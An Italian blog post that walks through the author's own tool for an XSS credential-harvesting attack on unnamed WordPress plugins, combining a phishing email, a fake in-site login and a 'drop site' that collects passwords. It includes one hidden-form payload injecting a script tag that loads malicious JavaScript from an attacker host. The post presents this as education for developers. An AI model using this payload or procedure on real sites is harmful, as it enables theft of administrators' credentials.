Ciao,
oggi vedremo insieme come si scrive un Exploit in grado di bucare Wordpress, tutto questo, ovviamente a scopo di sicurezza, per avere una panoramica di come un attacco XSS funziona e di come riconoscerlo.
Voglio evitare fraintendimenti quindi ti dico subito che questo codice non è mai stato utilizzato per attacchi a siti internet e lo scopo di questa guida è e rimane puramente didattico.
Tutti i riferimenti al codice sono stati cambiati perché le vulnerabilità che sfrutteremo non sono del tutto pubbliche (invito gli sviluppatori dei plugin a provvedere quanto prima).
Analizzeremo un mio script in python che permette di preparare una trappola XSS su un possibile target, sfruttando una vulnerabilità non conosciuta di alcuni plugin wordpress di cui non farò i nomi.
XSS ( Cross Site Scripting ) è una tecnica che serve per far eseguire del codice ingannevole al bersaglio:
in questo caso l’utente amministratore, al quale faremo “saltare” il login WordPress per poi fargli rieseguire l’accesso catturando le password. Ci appoggeremo quindi in parte a tecniche di ingegneria sociale.
Che cosa ho utilizzato?
Per scrivere questo test di sicurezza ho utilizzato:
- RIPS: un analizzatore di sicurezza del codice PHP (per scovare la falla)
- Python (per automatizzare l’attacco da riga di comando)
- PHP, Javascript e HTML (per la codifica dell’exploit vero e proprio)
Come funziona
E’ molto semplice: l’attaccante esegue il file .py (python) sul proprio computer – con ovviamente installato python – inserisce un indirizzo bersaglio; poi inserisce due ulteriori indirizzo di appoggio + un parametro di lingua (inglese o italiano).
L’ indirizzo aggiuntivo è necessario; si tratterà di un nostro sito “drop” per farci recapitare i dati ottenuti in tempo reale, direttamente sul nostro schermo.
Per precisione: lo script python è solo una scorciatoia che ho utilizzato per fare prima e serve solo a non dover riscrivere tutte le volte le variabili. ma proseguiamo:
Mettiamo di voler attaccare il mio stesso sito.
Lancio lo script python che genererà il fake-login in questa maniera, Esempio:
./seXSS.py http://www.mariosantella.com http://localhost http://www.mariosantella.com/wp-admin/images/wordpress-logo.svg IT
url bersaglio | url dropsite | url immagine di login | lingua
semplice.
Questo comando genera un file PHP che andrà caricato sul sito “di appoggio” che in questo caso è il mio localhost.
Fatto l’upload del file appena generato, lo apro con il browser – http://localhost/mariosantella-com.php – e nella pagina trovo un pannello per gestire l’attacco sul sito scelto: qui posso generare gli script e inviare via mail all’amministratore il link del pannello fake-login (pl.php) opportunamente camuffato.
Qui entra in gioco l’ ingegneria sociale, dobbiamo architettare un motivo per far aprire il link all’amministratore, che ignaro di tutto si ritroverà ad effettuare l’accesso sul suo sito, con la differenza che le sue credenziali arriveranno a noi.
Attenzione, non stiamo dirottando l’amministratore su un semplice fake login, questo perché gli faremo eseguire il codice direttamente sul suo sito con il suo URL esatto e non su un banale fake login esterno.
Se basassimo un attacco di questo tipo su un fake login esterno l’amministratore si accorgerebbe subito che l’ indirizzo URL del sito a cui sta dando le password non è il suo, ovvio.
La tecnica è quindi potenzialmente pericolosa? Sì, c’è un margine di successo considerevole.
Ma vediamo perché succede di poter aprire indirizzi che sembrano del nostro sito, ma in realtà non lo sono…
Perchè Succede?
Succede perchè molti plugin wordpress che utilizzano il pattern di configurazione “options-general.php” potrebbero avere alcuni parametri non filtrati per prevenire un attacco XSS.
Come nel caso di plugin che è possibile raggirare con un semplice form modificato, come questo:
<form style="visibility:hidden;" method="post" action="http://www.mariosantella.com/wp-admin/options-general.php?page=plugin-esempio/admin/plugin-admin.php" name="frm1">
<input type="hidden" name="mt_submit_hidden" value="Y">
<input name="parametro_non_filtrato" value='"><script src=http://localhost/mariosantella-com/script_malevolo.js ></script>' >
[...]
In questo caso, quello che vedi eveidenziato nel codice come “parametro_non_filtrato” è una falla, e ci permette di far eseguire un codice ingannevole sul computer dell’amministratore loggato.
Non entro nei dettagli. Ti assicuro solo che ci sono molti plugin che hanno questa vulnerabilità, perché chi li ha sviluppati ha utilizzato la stessa struttura base per gestire le opzioni di amministrazione, e a quanto pare ha dimenticato di filtrare alcuni parametri di queste opzioni.
E’ un pattern facilmente riconoscibile e invito tutti gli sviluppatori che ne hanno fatto utilizzo a patchare quanto prima.
Come ho trovato la “falla”
Ho trovato questa vulnerabilità facilmente, grazie a RIPS, che è un tool di security analysis per PHP.
Testando il codice di alcuni plugin ho riscontrato – con molta sorpresa – alcune anomalie, tanto che ho voluto vederci chiaro 🙂
Ho quindi scritto un exploit apposito per iniettare dentro al parametro “bacato” un javascript che caricasse una copia della pagina di login di WordPress, sfruttando quindi l’XSS che non viene filtrata su quel parametro.
Come accennato il linguaggio Python è servito solo per automatizzare un possibile attacco senza riscrivere tutti gli URL ogni volta. Vediamo come:
In questa prima parte vengono semplicemente gestiti i parametri inseriti da comando, assegnandoli alle variabili.
Qui iniziamo a creare il pannello PHP di appoggio che andrà caricato su un “drop site” e che ci permetterà di ricostruire gli script necessari all’attacco.
Quello che vedi qui è semplice PHP “embeddato” nello script python. Ci permetterà di creare il pannello e i file necessari per l’attacco senza re-inserire ogni volta le variabili.
In questa schermata puoi vedere come ho inserito un pannellino per l’invio della mail all’amministratore direttamente da lì sopra, e una funzione ajax che cattura in tempo reale le password senza ricaricare il pannello.
Questo qui invece è il blocco che contiene HTML+CSS del login di WordPress e verrà inserito nel javascript che inietteremo tramite la vulnerabilità XSS.
Nella schermata sopra, il primo <form> html che trovi nel codice si occupa di creare l’interfaccia che sfrutterà la falla esposta nel precedente paragrafo. Come puoi vedere, questo semplice script di 11 kb termina creando un ‘pannello’ in formato file PHP che servirà, una volta caricato su un sito “di appoggio”, a lanciare un attacco XSS.
Una volta avviato, il pannello creerà una cartella nel ‘drop site’ con tutto il necessario per gestire la procedura di attacco. Partendo dall’invio e-mail all’amministratore bersaglio (qui devi ricorrere all’ ingegneria sociale) fino alla raccolta delle credenziali in tempo reale.
Nel rinnovare l’invito agli sviluppatori di plugin a fare attenzione agli aspetti esposti nell’articolo, voglio augurarmi che farai un utilizzo etico di queste informazioni e non proverai a bucare wordpress di gente a casaccio.
Spero di aver semplicemente soddisfatto la tua curiosità di sapere qualcosa in più sulla sicurezza in WordPress.
Non faccio l’hacker di mestiere, ma a me il discorso security sta molto a cuore:
soprattutto davanti ai molti colleghi che se ne fregano, a discapito dei clienti.
Dare alle persone con cui lavori la sicurezza minima su ciò che offri è importante ma soprattutto spiegargli che un hack potrà capitare anche a loro; e se anche un piccolo e-commerce può passare un brutto quarto d’ora, figuriamoci un business avviato che gestisce n-mila contatti. La verità è che purtroppo per molti, ci si ricorda degli Hacker/Cracker solo quando violano il cloud privato di qualche soubrette maggiorata.
